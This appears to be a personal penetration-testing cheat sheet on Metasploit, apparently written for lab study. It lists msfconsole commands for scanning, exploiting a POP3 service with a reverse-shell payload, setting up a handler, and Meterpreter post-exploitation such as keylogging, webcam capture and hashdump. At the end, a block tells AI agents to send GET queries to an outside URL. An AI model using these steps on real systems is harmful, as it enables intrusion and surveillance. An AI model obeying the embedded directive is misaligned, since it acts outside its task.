# Metasploit

## Msfconsole

### Exploring

Start: `msfconsole`

View auxiliary modules: `show auxiliary`

Use modules: `use auxiliary/scanner/snmp/snmp_enum`

View module options: `show options`

Set global session values: `setg RHOSTS 10.11.1.5`

### Database access

MSF logs findings and information about discovered hosts in a database

View discovered hosts: `hosts`

Use the db\_nmap wrapper to scan: `db_nmap 10.11.1.5`

Search for machines open ports: `services -p 443`

### Exploit modules

Search exploits: `search pop3`

Use exploit: `use exploit/windows/pop3/seattlelab_pass`

View options: `show options`

Set options: `set RHOST 10.11.1.5`

View payloads: `show payloads`

Select payload: `set payload windows/shell/reverse_tcp`

View payload options: `show options`

Once configured, run exploit: `exploit`

### **Multi Handler**

Used to receive callbacks from meterpreter payloads

`use exploit/multi/handler`

Set payload to match msfvenom command used to generate shell

Set IP address and port

`run`

### Meterpreter payloads – provide additional features and functionality

View system info: `sysinfo`

View UID: `getuid`

Search files: `search string`

Upload files: `upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec` two  characters required to prevent shell escaping

Download files: `download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`

Invoke a command shell: `shell`

### Post exploitation

`help` displays a list of available meterpreter post exploitation commands

Includes: download, upload, portfwd, route, keyscan\_start/stop, screenshot, record\_mic, webcam\_snap, getsystem (priv esc), hashdump

Useful tool for finding priv esc options `use post/multi/recon/local_exploit_suggester`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.oncyberwar.com/4.-exploitation/metasploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
